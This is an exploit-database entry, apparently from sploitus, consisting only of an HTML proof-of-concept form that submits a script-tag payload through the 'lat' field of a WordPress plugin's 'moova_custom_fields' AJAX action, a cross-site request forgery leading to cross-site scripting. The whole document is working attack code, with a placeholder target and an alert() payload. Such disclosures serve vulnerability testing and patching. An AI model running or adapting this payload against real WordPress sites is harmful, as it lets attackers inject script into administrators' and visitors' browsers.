Share 
## https://sploitus.com/exploit?id=WPEX-ID:5B1D5F4F-FEA4-4477-BA55-D0E36F832592
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="moova_custom_fields" />
      <input type="hidden" name="lat" value="<script>alert(/XSS/)</script>" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>